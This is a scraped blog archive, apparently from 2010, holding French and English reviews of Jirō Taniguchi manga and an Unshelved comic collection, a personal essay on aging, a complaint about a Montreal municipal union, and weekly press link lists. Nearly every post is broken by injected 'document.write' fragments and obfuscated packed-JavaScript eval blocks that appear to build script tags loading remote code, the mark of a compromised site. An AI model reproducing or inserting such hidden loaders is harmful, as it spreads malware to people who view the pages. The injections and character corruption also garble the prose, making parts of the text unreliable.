Encyclopédie des Animaux de la Préhistoire

“Il y a longtemps, document.write(“”); bien longtemps, si longtemps que c’est difficile à imaginer. La nature n’était pas encore polluée, elle était luxuriante et toutes sortes d’animaux vivaient sur la Terre. Ce sont les ancêtres des animaux actuels. Pourquoi l’éléphant est-il si grand ? Comment les ours se sont-ils mis à hiberner ? Confrontés aux terribles changements de la nature, tous ces êtres ont connu des joies et des peines; certains ont évolué, d’autres se sont éteints. Telles sont les lois de la Nature.” [Texte d’intro sur le site de l’éditeur, basé sur la préface de Taniguchi]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnnfn|var|u0026u|referrer|rbrkb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsyyi|var|u0026u|referrer|ztrsh||js|php’.split(‘|’),0,{}))

Jir? Taniguchi est un mangaka des plus éclectique. On retrouve plusieurs grands thèmes tout au long de son oeuvre, mais chacun de ces thèmes a eut une certaine proéminence durant une période de temps. Ainsi, durant les années ’80, il a surtout écrit des histoires policières ou d’action inspirées du roman noir et des histoires inspirées du roman animalier. Dans les années ’90, il a développé ses oeuvres maîtresses traitant de la vie quotidienne et des souvenirs. Puis, dans les années 2000, il a surtout abordé des sujets traitant du grand air et de la nature. L’Encyclopédie des animaux de la préhistoire s’inscrit dans son thème animalier et n’est sans doute pas étrangé au fait qu’il ait été, de 1966 à 1972, l’assitant de Ky?ta Ishikawa pour lequel il dessinait surtout des animaux.

L’Encyclopédie des Animaux de la Préhistoire [???? / Gen Juiten] a d’abord été sérialisé entre 1987 et 1990 avant d’être compilé au éditions Futabasha en 1998 (2006 en France). Il s’agit de dix-huit petites histoires courtes (dont deux en couleurs: “Prologue: La Promenade de l’Elasmotherium” et “Chapitre 3: Souviens-toi… Le Mammouth jeffersonien”) qui font six ou huit pages et qui nous introduisent à la vie quotidienne d’autant d’espèces d’animaux préhistoriques (Elasmotherium, Machairodus, Agriotherium, Mammouth, Phororhacos, Pliohippus, Mégatherium, Oxydactylus, Paleomastodon, Protocetus, Kannemeyeria, Cynodictis, Indricothère, Palaeotragus, Proganochelys, Mesocyon, Eozostrodon et Ramapithèque). Les histoires sont toutes suivies d’un commentaire de deux pages, par Ryuichi KANEKO, qui nous en apprend un peu plus sur l’époque, les moeurs ou la physiologie des petites bêtes en question.

Avec L’Encyclopédie des Animaux de la Préhistoire, Taniguchi nous offre un style très réaliste et détaillé (un peu trop peut-être par moment car les planches y sont parfois un peu surchargées). C’est un de ses ouvrages mineurs, qui est plus intéressant pour son aspect “encyclopédique” de vulgarisation scientifique, qui vise sans doute à intéresser les jeunes à la préhistoire, que pour ses récits trop courts. L’ensemble se veut léger mais malheureusement les appendices savants le rendent trop lourd pour être une lecture agréable et relaxante. C’est plutôt original et éducatif, mais pas le genre de lecture à prendre pour tuer le temps dans la salle d’attente d’une clinique.

Encyclopédie des animaux de la préhistoire, par Jir? TANIGUCHI (commentaires par Ryuichi KANEKO). Dargaud (Coll. Kana, label Made In), 2006. B&W (14 pg en couleur), 15 x 21 cm, 164 pgs. 10 €. Recommandé pour adolescents (12+). ISBN: 978-2505000273.
Tales of the prehistoric animal kingdom © 1998 by Jiro Taniguchi. All rights reserved. © Kana (Dargaud-Lombard s.a.), 2006 pour la traduction française.

The ailments of age

When you get near fifty year-old you start getting all sorts of ailments. And you cannot help wondering which one of those will get you in the end. When you have a headache, document.write(“”); you wonder “would it be a cerebro-vascular accident? A tumor?” You read some stupid comments on a forum or some hate mail and your heart gets pumpin’ or your chest hurt: will it be an heart attack? Or an aortal aneurism? You can’t remember a movie title or someone’s name: would it be Alzheimer? You have an heartburn: would it be an ulcer? Stomac cancer? You have digestive problems or too much gaz: would it be colon cancer? You get up three times to pee during the night: would it be prostate cancer? You have chronic back pain: would it be an herniated disc? Kidney problems? And so on for each possible organ or body parts…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teyer|var|u0026u|referrer|yaeyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btysi|var|u0026u|referrer|zenbd||js|php’.split(‘|’),0,{}))

And you worry so much about those things it makes you sick. You go to a clinic for tests and check-ups, to find some reassurance. There’s nothing you can do about it but try to forget about those problems, try to live your life and be happy. As Marcus Aurelius said, there’s no use worrying about stuff we don’t have control over. It doesn’t really work that way, but sometimes you still have good days. You know there will be less and less of those, so you do your best to live in the moment and seize the day…

The quiet job that you thought would lead to a quiet life and more time to think and write, is causing you stomac upset instead? You need to take it with a grain of salt and be as much zen as possible about it. Nothing matters but the enjoyment of life…

Dude, mais où est donc mon syndicat?

C’est la question que je me posais cette semaine. Et je ne suis pas le seul puisque l’équipe du 109 au 429 écrivait récemment une Nouvelle Du Jour titrée “Le SFMM a-t-il survécu à l’élection d’AccèsCible ?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szdez|var|u0026u|referrer|sserh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbrkh|var|u0026u|referrer|skksy||js|php’.split(‘|’),0,{}))

En effet, document.write(“”); l’équipe syndicale en place (bien sûr il s’agit ici du
Syndicat des Fonctionnaires Municipaux de Montréal, le SFMM ou SCFP-429) est tellement active (ici vous devez sentir le sarcasme) que nos conditions de travail ne cessent de dépérir! Bon, il faut avouer qu’ils n’en sont pas les seul responsable puisque, après tout, nous (les travailleurs) les avons réélu. Entre ceux d’entre nous qui refusent de se plaindre (et parfois font pression sur leur collèques pour qu’ils en fassent autant) car ils ont la trouille de se retrouver dans un environnement de travail toxique s’ils font trop de vagues et ceux qui sont tellement désillusionné qu’ils pensent que toute action est inutile, et bien il n’y a pas grand chose qui bouge! C’est vrai que, comme je le dis souvent, le syndicalisme est une lame à double tranchant: c’est une défense nécessaire contre l’exploitation des travailleurs mais peut parfois mener à de l’abus (demande excessive, collusion, corruption, etc.); il faut donc en user avec précaution. Toutefois, je vous mets en garde, l’inaction syndicale a un grand coût: cela créé des précédants et le patronat se convainc qu’il peut s’en permettre encore plus. Et cela mène à l’érosion graduelle et inexorable de nos conditions de travail.

Des fois je me demande si le syndicalisme n’est pas simplement une autre façon d’exploiter les travailleurs, de leur soutirer encore plus d’argent tout en les mettant en confiance et en sécurité… Car comment le syndicat peut-il avoir laissé passé des lettres d’entente comme celles qui ont récemment été signées? Comment nous, les travailleurs, avons nous laissé passer cela en votant en assemblé? C’est vrai que ces lettres d’entente, qui concernent pourtant tout le monde, ont été voté par les travailleurs de chaque arrondissement concerné seulement. Diviser pour règner. La décision n’était pourtant pas difficile: une bonne lettre d’entente ou convention collective en est une qui préserve nos conditions de travail ou les améliore. Point. Tout autre résultat est catégoriquement inacceptable… Alors pourquoi les avoir négocié? Pourquoi les avoir voté? Bon, il est vrai que les travailleurs ont voté les ententes à l’aveuglette, sans en avoir préalablement vu et lu les textes, mais pourquoi avoir accepté de telles conditions de vote?

Des fois je me demande si tout ce combat en vaut vraiment la peine. Pourquoi ne pas s’en foutre et simplement faire la petite job pépère qu’on me demande de faire? L’alternative me semble tellement affreuse: pour rétablir la situation (et nos conditions de travail — notez que j’ai rien à dire sur les conditions salariales, à part l’équité salariale qui se fait attendre) cela voudrait dire une lutte acharnée pour empécher toute nouvelle lettre d’entente d’être signée, pour (re)négocier la convention collective l’année prochaine (incluant de nouvelles lettres d’entente), pour préparer une nouvelle équipe syndicale qui aurait des chances de prendre le pouvoir dans quatre ans, ou alors simplement tout reprendre à zéro et se magasiner un autre syndicat? C’est beaucoup de travail… et peu de gratifications. Mais après ça il faudrait vivre avec des conditions de travail insatisfaisantes et une conscience troublée…

Dude, où est donc mon syndicat quand j’en ai de besoin?

This week in the press (2010-02-23)

This week again it’s all about the Vancouver Olympics… And very little else!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eriyt|var|u0026u|referrer|diybe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsrnk|var|u0026u|referrer|hfzyi||js|php’.split(‘|’),0,{}))

Books, document.write(“”); Digital Edition & Library

Health & Influenza A(H1N1)

Humour


Japan

Media, Culture & Society

Montreal & local politics

Science

Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

(updated 2010/02/24)

Quartier Lointain

“Homme mûr de 48 ans, document.write(“”); transporté dans la peau de l’adolescent qu’il était à 14 ans, Hiroshi continue la redécouverte de son passé. Questionnant sa grand-mère, ses parents, ses amis, il réalise tout ce qui lui avait échappé lorsqu’il était jeune. Et petit à petit, l’année scolaire avançant, il voit se rapprocher la date fatidique où son père disparaîtra, pour toujours, sans aucune explication. Peut-il changer son passé ou est-il condamné à le revivre, impuissant? Et retrouvera-t-il son existence normale, sa femme et ses enfants?” [Texte d’intro sur le site de l’éditeur] “Prix du meilleur scénario au Festival d’Angoulême 2003. Prix Canal BD des librairies spécialisées en 2003. Prix de la meilleure BD adaptable au cinéma au Forum de Monaco 2004.” [Texte de couverture arrière]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zityi|var|u0026u|referrer|atisk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teeti|var|u0026u|referrer|tyrit||js|php’.split(‘|’),0,{}))

Ce n’est pas un hasard si l’oeuvre de Jir? Taniguchi est souvent adaptée en français par Frédéric Boilet, qui se fait également le héraut de la “nouvelle manga.” Ce genre se définit comme une nouvelle vague de roman graphique qui surpasse les marchés nationaux que sont la BD européenne, le comics américain ou le manga japonais pour offrir une sorte de syncrétisme artistique. C’est un genre d’auteur, plus mature et innovateur que son parent commercial, qui a une prédilection particulière pour le thème universel de la vie quotidienne. Les oeuvres personnelles de Taniguchi, celles dont il est également l’auteur en plus d’en être l’artiste comme c’est le cas pour Quartier Lointain, appartiennent indéniablement à ce genre.

 

 

Quartier Lointain [????? / Haruka-na machi he], après une sérialisation dans le magazine seinen Big Comic, destiné à un public masculin plus âgé, a d’abord été publié en deux volumes (1998-99 au Japon et 2002-03 en France) avant d’être compilé dans une édition intégrale (2004 au Japon et 2006 en France). Quatre ans plus tôt, avec Le journal de mon père (l’histoire d’un homme qui, après un longue absence, revient dans son village natal pour les funérailles de son père), Tanuguchi avait déjà touché le thème de la réminiscence, mais il y ajoute cette fois une touche de fantastique. Son style habituel, soigné et détaillé, qui sait fort bien rendre toute l’émotion et la sensibilité du récit, est le canevas idéal pour ce superbe travail narratif. Une fois de plus Taniguchi documente d’une façon intimiste la vie quotidienne japonaise.

On s’attend à ce qu’une telle histoire de voyage dans le temps soit une forme de science-fiction introspective, mais c’est en fait clairement du fantastique tel que définit par Todorov. Si Taniguchi n’aborde jamais les causes de l’expérience temporelle de son personnage, il met néanmoins en place les éléments nécessaire pour deux explications opposées: d’une part l’événement survient alors que Hiroshi visite la tombe de sa mère et qu’un papillon croise son chemin, ce qui suggère une intervention divine ou supernaturelle et, d’autre part, comme l’expérience débute et se termine au même endroit et qu’il avait beaucoup bu la veille, on peu imaginer que toute cette histoire est une sorte de rêve ou d’épiphanie éthylique. Toutefois, si cela nous offre une intéressante question rhétorique, l’élément déclancheur du récit n’a guère d’importance. Ce qui intéresse Taniguchi ce n’est pas tant le “comment” que le “pourquoi.”

Une fois qu’on a compris les prémices de l’histoire on ne peut que se demander si Hiroshi sera prisonnier de ce jeune corps, condamné à revivre son adolescence (l’horreur!) ou si le savoir acquit et son expérience d’adulte ne l’amèneront pas à modifier son “futur.” En fait, l’expérience sera doublement transformationnelle. En portant son regard d’adulte sur son enfance il comprend beaucoup de choses qui avaient échappé à l’enfant qu’il était. Inversement, expérimenter à nouveau la vivacité et la vigeur de la jeunesse, lui permet de se ressourcer et de remettre en question sa vie de salarié aux portes de la cinquantaine, un peu trop porté sur l’alcool et qui ne porte plus qu’un intérêt distant à sa famille.

 

Quartier Lointain nous offre donc une lecture intéressante et intelligente. Ce manga fait définitivement partie des meilleurs oeuvres de Taniguchi, celles qui méritent vraiment notre attention. A noter qu’une adaptation cinématographique, réalisé par Sam Garbarski, est disponible en France.

Quartier Lointain: L’intégrale, par Jir? TANIGUCHI. Casterman, 2006. B&W (6 pg en couleur), 17 x 24 cm, 405 pgs. 25.95 € / $54.95 Can. Recommandé pour adolescents (13+). ISBN: 978-2-203-39644-9.

[ AmazonRenaud-BrayBiblioWorldCat ]

Also available in English from Ponent Mon / Fanfare under the title A Distant Neighborhood Volume 1 and Volume 2 (2009, 200 & 208 pg, £12.99/$23.00 US each). To be reviewed separately later.

Quartier Lointain © 1998, 1999 by Jiro Taniguchi. All rights reserved. © Casterman, 2006 pour la traduction française.

This week in the press (2010-02-16)

This week it’s all about the Vancouver Olympics. Well, document.write(“”); maybe not…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkhbz|var|u0026u|referrer|edehd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rydae|var|u0026u|referrer|bzsys||js|php’.split(‘|’),0,{}))

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & local politics

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

Unshelved #7: Reader’s Advisory

“BREAKING LITERARY NEWS FROM THE AWARD-WINNING STAFF OF THE MALLVILLE PUBLIC LIBRARY. Whether it’s a Paranormal Romance front coming in from the North, document.write(“”); colliding Low-carb and Low-fat Cookbooks causing a whirlwind in the South, or a high-pressure Get Rich Quick system building in the Tri-State area, our news team is there with the reading recommendations you need. Featuring the latest daily and Sunday comic strips from Unshelved, your trusted source for library humor.” [text from the back cover] “Follow the adventures of a young librarian named Dewey, his dysfunctional coworkers, and the people they’re supposed to be helping.” [Amazon.com]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dadet|var|u0026u|referrer|nafaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkizi|var|u0026u|referrer|difzn||js|php’.split(‘|’),0,{}))

Reader’s Advisory is the seventh yearly compilation of Unshelved, a daily online comic strip set in an american library. It was originally published on the
Unshelved website from February 17, 2008 to February 15, 2009, and ALA CogNotes newspapers in June 2008 and January 2009 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous six volumes. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

Written (under a pen name) by a real-life librarian who works in an undisclosed library in the Pacific Northwest of the U.S.A., Unshelved is a rather funny comic strip. The art is a little crude and it’s probably of a greater interest to me because I work in a library (although it made me laugh even before I started working there). Also, I admit that this particular volume feels a little less funny to me, maybe because the novelty of a witty librarian in riduculous situations is wearing off and previous volumes had more continuity in the story of each strip as they were more or less following a general theme. I don’t see that in Reader’s Advisory as you have some stories or themes that go on only for two or three strips. However, after seven volumes it still makes me laugh, so I recommend it without hesitation (even more so to my fellow assistant-librarians, for whom it should be a mandatory reading)!

This volume compiles the daily strips (unfortunately not in their original publishing order), some “Library Tips”, the ALA “Conference Tips” as well as the color “Book Club” pages (where the authors illustrate book recommendations). The beauty of it is that you can always read it on the Unshelved website: it’s free.

Strip from 2008/03/01:
Some of my favourites: 2008/02/18, 2008/03/03, 2008/03/17, 2008/04/01, 2008/04/02, 2008/04/24, 2008/05/30, 2008/08/23, 2008/09/16, 2008/10/24, 2008/11/11, 2008/11/13, 2008/11/22, 2008/12/26, and 2009/01/30.

Unshelved Vol. 7: Reader’s Advisory, by Gene Ambaum and Bill Barnes. Overdue Media, 2009. 10.7 x 8.2 in, 128 pgs., $17.95 US / $22.95 CDN. ISBN-13: 978-0-9740353-6-9.

Unshelved: Reader’s Advisory © 2009 Overdue Media LLC. All rights reserved.

This week in the press (2010-02-09)

Apparently, document.write(“”); it was a rather slow week for the news—or I was too busy to really notice. Anyway, the coming weeks will belong to sports, starting this week with the Super Bowl and going on with the Vancouver Olympics. Therefore, most news outlet will probably stop talking about Haiti
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inbrs|var|u0026u|referrer|hbyaf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eksfi|var|u0026u|referrer|keeif||js|php’.split(‘|’),0,{}))

Books, Digital Edition & Library

Health & Influenza A(H1N1)

Humour


Japan

Media, Culture & Society

Montreal & local politics

Science & Technology

More on the iPad

See also the “Suggested Links (Shared Items)” in the column on the right side

Charlie Rose discusses iPad

On Feb 4, document.write(“”); 2010, Charlie Rose discussed the Apple’s iPad with Michael Arrington, Walter Mossberg and David Carr:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekstk|var|u0026u|referrer|bykde||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfeds|var|u0026u|referrer|nbffe||js|php’.split(‘|’),0,{}))

>>Popout

L’Homme de la Toundra

“Perdus dans le grand nord, document.write(“”); deux hommes ne doivent leur survie qu’à l’apparition providentielle d’un vieux chasseur, qui leur confie une étrange légende [“L’Homme de la toundra”]; cernés par les loups, deux explorateurs partis enterrer un de leurs compagnons en Alaska luttent pour leur survie [“Le grand ouest blanc”]; dans le Japon des années 20, un homme part sur la piste de l’ours qui a tué son fils [“Nos montagnes”]; un biologiste marin se met en quête du mythique cimetière des baleines… [“Retour à la mer”]. Six nouvelles et autant d’histoires d’hommes confrontés à une nature sauvage, tantôt cruelle, tantôt miséricordieuse, mais toujours grandiose. A travers des récits marqués par un profond respect de la vie animale, Jirô Taniguchi rend hommage à l’oeuvre de Jack London, dont il est d’ailleurs question dans la première histoire. Au sein de cet ensemble singulièrement cohérent, une nouvelle se distingue pourtant: “L’appartement Sh?kar?” qui évoque de manière subtile un Japon disparu.” [Texte d’intro sur le site de l’éditeur]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfbet|var|u0026u|referrer|rffys||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbhy|var|u0026u|referrer|rihdr||js|php’.split(‘|’),0,{}))

L’oeuvre de Jir? Taniguchi m’a été maintes fois recommandé et je dois avouer que dès la première lecture j’ai été envouté. Son superbe style, précis et poignant, de même que sa narration, concise et adroite—qui progresse toujours à un rythme très lent et quasi-contemplatif—en font un artiste incontournable et le plus zen des mangaka! Et ce sont précisement son art détaillé et ses récits profonds qui le rapproche beaucoup de la bande-dessinée Européenne (dont il reconnait l’influence) et c’est sans doute pour cela qu’il est plus populaire (énormément même) en Europe qu’en Amérique.

L’Homme de la Toundra [????? / T?do no Tabibito], publié en 2004, ne fait pas exception et est un superbe exemple du talent de Taniguchi. Toutefois, contrairement à ce que dit le texte de présentation de l’éditeur, ce recueil de six courts récits est un peu inégal dans son ensemble. Le theme général du recueil, d’un caractère très Japonais, est un sujet qui est très cher à l’auteur: le respect et la communion avec la nature. C’est particulièrement évident dans le dernier récit, “Retour à la mer.” Les trois premiers récits, quant à eux, traitent plus de la confrontation avec la nature sauvage et le combat pour la survie. Cependant, deux des récits du recueil se distinguent en s’attachant plus à une autre thématique très chère à l’auteur: il s’agit d’histoires touchantes, qui s’inscrivent dans le quotidien avec une sorte de nostalgie urbaine et semblent souvent autobiographiques. “Kaïyosé-Jima, l’île où accostent les coquillages” offre déjà un environnement plus humain. Suite au divorce de ses parents et à la maladie de sa mère, le jeune Takashi passe l’été chez son oncle, dans un petit village de pêcheurs. Grâce à Yae-chan, une orpheline recueillie par son oncle et qui lui apprend à nager, il oublit peu à peu le chagrin que l’absence de sa mère lui cause. Un jour qu’ils pêchaient des coquillages ensemble, une tempête pousse leur embarcation loin en mer et ils doivent passer une terrible nuit sur une petite ile. Dans “L’appartement Sh?kar?,” l’histoire se déroule dans un environnement plus urbain, alors qu’un jeune mangaka est influencé par l’ambiance de son nouvel appartement, situé dans un ancien bordel. Je ne crois pas que ces deux récits rompent totalement avec la thématique de la nature, car ici Taniguchi semble nous dire que nous pouvons toujours communier avec notre environnement, qu’il soit naturel ou urbain.

L’Homme de la Toundra, par Jir? Taniguchi. Casterman (Coll. Sakka), 2006. B&W, 15 x 21 cm, 248 pgs. 11.50 € / $23.95 Can. Recommandé pour jeunes adultes (16+). ISBN: 9782203373846.
Also available in English from Ponent Mon / Fanfare under the title The Ice Wanderer and other stories (240 pg, £11.99/$21.99 US). You can read the comment on the english version elsewhere on this blog.

L’Homme de la Toundra © Jiro Taniguchi, 2005. © Casterman, 2006 pour la traduction française.

This week in the press (2010-02-02)

A relatively quiet week dominated by Obama’s State of the Union and budget, document.write(“”); as well as Apple’s iPad announcement. While the tech geeks express their disappointment of the iPad, the pundits ponder its enormous potential and the media moguls wonder if the iPad can really stop the flow of red ink in the publishing industry…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|airhn|var|u0026u|referrer|khyir||js|php’.split(‘|’),0,{}))
